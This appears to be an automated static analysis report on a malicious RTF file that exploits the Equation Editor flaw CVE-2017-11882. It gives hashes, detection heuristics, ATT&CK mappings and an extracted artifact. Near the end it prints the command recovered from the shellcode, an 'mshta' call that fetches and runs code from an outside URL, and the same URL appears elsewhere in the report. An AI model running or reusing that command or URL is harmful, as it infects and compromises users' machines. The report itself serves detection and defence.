Malicious RTF — malware analysis report

Static analysis result for SHA-256 c8ac9520f62fcddc…

MALICIOUS

RTF

8.4 KB Authoring application: Riched20 6.3.9600 First seen: 2018-07-23
MD5: 2ed6126e3a00b972627ff681e39748ce SHA-1: 0aeca9599b97927f0a3ed9e7e4660b2daa4db2a3 SHA-256: c8ac9520f62fcddc59dead59ac1bb64b9c641e49061793b36f85d6e5ab19c43f
382 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF document contains an embedded OLE object specifically identified as Equation Editor, which is known to be vulnerable to CVE-2017-11882. The heuristic firings strongly indicate exploitation of this vulnerability, allowing for arbitrary code execution. The embedded object's data is likely shellcode, which would be executed upon opening the document, making it a classic example of a malicious attachment.

Heuristics 9

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • ClamAV: Rtf.Exploit.CVE_2017_11882-6584355-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Rtf.Exploit.CVE_2017_11882-6584355-1
  • Equation Editor object class critical RTF_OBJCLASS_EQUATION
    Object class 'equation.3' references Equation Editor
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://urlz.fr/7mse In RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off00000100.bin rtf-objdata-decoded RTF \objdata at offset 0x100 3546 bytes
SHA-256: eb2a0dd45c70c82b654f1666ec89f32063d23148bce95118150d19aaae1b0700
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://urlz.fr/7mse Static shellcode analysis recovered command string(s): mshta http://urlz.fr/7mse &AAAAAAAAAAAAAAAAA C

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